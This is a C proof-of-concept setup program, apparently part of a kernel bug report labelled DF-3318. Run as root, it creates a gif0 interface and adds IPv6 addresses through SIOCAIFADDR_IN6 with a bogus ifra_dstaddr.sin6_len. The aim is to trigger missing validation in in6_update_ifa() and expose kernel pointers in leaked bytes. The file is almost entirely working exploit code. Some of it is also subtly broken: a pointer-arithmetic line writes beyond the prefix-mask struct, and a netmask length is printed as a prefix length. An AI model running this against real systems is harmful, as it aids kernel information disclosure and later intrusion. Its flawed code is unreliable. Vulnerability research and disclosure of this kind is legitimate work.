/*
 * DF-3318 setup: run as ROOT.
 *
 * Creates gif0 and adds an IPv6 address via SIOCAIFADDR_IN6 with an
 * over-long ifra_dstaddr.sin6_len (200).  in6_update_ifa() copies the
 * whole sockaddr_in6 -- including the bogus sin6_len -- into
 * ia->ia_dstaddr (sys/netinet6/in6.c:1067).  No validation of
 * ifra_dstaddr.sin6_len exists anywhere on this path.
 *
 * Build: cc -O -o setup setup.c
 * Run:   ./setup            (as root)
 */
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/sockio.h>
#include <net/if.h>
#include <net/if_dl.h>
#include <netinet/in.h>
#include <netinet6/in6_var.h>
#include <stdio.h>
#include <stdlib.h>
#include <stddef.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <ifaddrs.h>
#include <arpa/inet.h>

static void
hex(const void *p, size_t n)
{
	const unsigned char *c = p;
	size_t i;

	for (i = 0; i < n; i++) {
		printf("%02x", c[i]);
		if ((i % 32) == 31 || i == n - 1)
			printf("\n");
		else if ((i % 4) == 3)
			printf(" ");
	}
}

int
main(int argc, char **argv)
{
	struct ifreq ifr;
	struct in6_aliasreq ifra;
	struct ifaddrs *ifa, *ifap;
	int s, error;
	const char *ifname = (argc > 1) ? argv[1] : "gif0";
	int badlen = (argc > 2) ? atoi(argv[2]) : 200;

	printf("sizeof(struct in6_aliasreq)=%zu "
	    "offsetof(ifra_dstaddr)=%zu\n",
	    sizeof(ifra), offsetof(struct in6_aliasreq, ifra_dstaddr));

	s = socket(AF_INET6, SOCK_DGRAM, 0);
	if (s < 0) { perror("socket"); exit(1); }

	/* create gif0 if needed */
	memset(&ifr, 0, sizeof(ifr));
	strlcpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name));
	if (ioctl(s, SIOCGIFINDEX, &ifr) < 0) {
		memset(&ifr, 0, sizeof(ifr));
		strlcpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name));
		if (ioctl(s, SIOCIFCREATE, &ifr) < 0) {
			perror("SIOCIFCREATE (gif0)");
			exit(1);
		}
		printf("created %s\n", ifname);
	}

	/* add 2001:db8::1/128 dst 2001:db8::2 with dstaddr.sin6_len = badlen */
	memset(&ifra, 0, sizeof(ifra));
	strlcpy(ifra.ifra_name, ifname, sizeof(ifra.ifra_name));

	ifra.ifra_addr.sin6_len = sizeof(struct sockaddr_in6);
	ifra.ifra_addr.sin6_family = AF_INET6;
	inet_pton(AF_INET6, "2001:db8::1", &ifra.ifra_addr.sin6_addr);

	ifra.ifra_dstaddr.sin6_len = badlen;		/* <-- BOGUS */
	ifra.ifra_dstaddr.sin6_family = AF_INET6;
	inet_pton(AF_INET6, "2001:db8::2", &ifra.ifra_dstaddr.sin6_addr);

	ifra.ifra_prefixmask.sin6_len = sizeof(struct sockaddr_in6);
	ifra.ifra_prefixmask.sin6_family = AF_INET6;
	memset(&ifra.ifra_prefixmask.sin6_addr, 0xff, 16);	/* /128 */

	/* keep the address alive: infinite valid/preferred lifetimes */
	ifra.ifra_lifetime.ia6t_vltime = 0xffffffff;	/* ND6_INFINITE_LIFETIME */
	ifra.ifra_lifetime.ia6t_pltime = 0xffffffff;

	error = ioctl(s, SIOCAIFADDR_IN6, &ifra);
	if (error < 0) {
		printf("SIOCAIFADDR_IN6 failed: %s\n", strerror(errno));
		exit(1);
	}
	printf("SIOCAIFADDR_IN6: OK (dstaddr.sin6_len stored = %d)\n", badlen);

	if (getifaddrs(&ifap) == 0) {
		char buf[64];
		for (ifa = ifap; ifa; ifa = ifa->ifa_next) {
			if (strcmp(ifa->ifa_name, ifname) ||
			    ifa->ifa_addr->sa_family != AF_INET6)
				continue;
			inet_ntop(AF_INET6,
			    &((struct sockaddr_in6 *)ifa->ifa_addr)->sin6_addr,
			    buf, sizeof(buf));
			printf("gif0 now has %s/%d\n", buf,
			    ((struct sockaddr_in6 *)
			     ifa->ifa_netmask)->sin6_len);
		}
		freeifaddrs(ifap);
	}
	printf("state dump of ifra_dstaddr as sent:\n");
	hex(&ifra.ifra_dstaddr, sizeof(ifra.ifra_dstaddr));

	/*
	 * Add one more address so that crafted_ia->ia_next != NULL
	 * (global in6_ifaddr list) -- makes the pointer disclosure
	 * directly visible in the leaked bytes.
	 */
	memset(&ifra, 0, sizeof(ifra));
	strlcpy(ifra.ifra_name, ifname, sizeof(ifra.ifra_name));
	ifra.ifra_addr.sin6_len = sizeof(struct sockaddr_in6);
	ifra.ifra_addr.sin6_family = AF_INET6;
	inet_pton(AF_INET6, "2001:db8::5", &ifra.ifra_addr.sin6_addr);
	ifra.ifra_prefixmask.sin6_len = sizeof(struct sockaddr_in6);
	ifra.ifra_prefixmask.sin6_family = AF_INET6;
	memset(&ifra.ifra_prefixmask.sin6_addr, 0xff, 8);	/* /64 */
	memset(&ifra.ifra_prefixmask.sin6_addr + 8, 0x00, 8);
	ifra.ifra_lifetime.ia6t_vltime = 0xffffffff;
	ifra.ifra_lifetime.ia6t_pltime = 0xffffffff;
	error = ioctl(s, SIOCAIFADDR_IN6, &ifra);
	if (error < 0) {
		printf("second SIOCAIFADDR_IN6 failed: %s\n", strerror(errno));
		/* non-fatal: pointer leak just shows NULL ia_next */
	} else
		printf("second address 2001:db8::5/64 added (ia_next != NULL)\n");
	return (0);
}
